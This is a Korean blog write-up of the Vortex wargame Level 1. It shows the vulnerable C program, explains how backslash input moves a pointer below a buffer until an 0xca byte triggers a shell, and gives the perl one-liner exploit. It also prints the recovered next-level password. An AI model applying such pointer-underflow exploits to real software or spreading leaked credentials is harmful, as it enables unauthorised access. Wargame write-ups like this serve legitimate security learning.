Vortex Level1
WarGame/Vortex2015. 7. 20. 10:12
#include#include #include #include define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); } void print(unsigned char *buf, int len) { int i; printf("[ "); for(i=0; i < len; i++) printf("%x ", buf[i]); printf(" ]\n"); } int main() { unsigned char buf[512]; unsigned char *ptr = buf + (sizeof(buf)/2); unsigned int x; while((x = getchar()) != EOF) { switch(x) { case '\n': print(buf, sizeof(buf)); continue; break; case '\\': ptr--; break; default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break; } } printf("All done\n"); }
1.PTR의 초기 값은 buf[256]을 가리킨다 (buf+sizeof(buf)/2)
2.\\ 입력시 PTR의 포인터가 1바이트씩 내려간다.
3.default 값으로 실행 되었을때 if(((unsigned int)ptr & 0xff000000)==0xca000000) 1111과 AND값 즉, 초기 1 바이트가 \xca값이면 sh이 실행된다.
4.EOF 때문에 프로그램이 바로 종료됨.
풀이:( perl -e 'print "\\"x257 . "\xca" . "\xaa"';cat) | ./vortex1
마지막 ca는 default를 실행시키기 위하여.
권한 회득후 /etc/vortex_pass/vortex2를 읽으면 23anbT\rE가 적혀있다.
'WarGame > Vortex' 카테고리의 다른 글
Vortex Level3 (0) | 2015.07.20 |
---|---|
Vortex Level2 (0) | 2015.07.20 |
Vortex Level0 (0) | 2015.07.17 |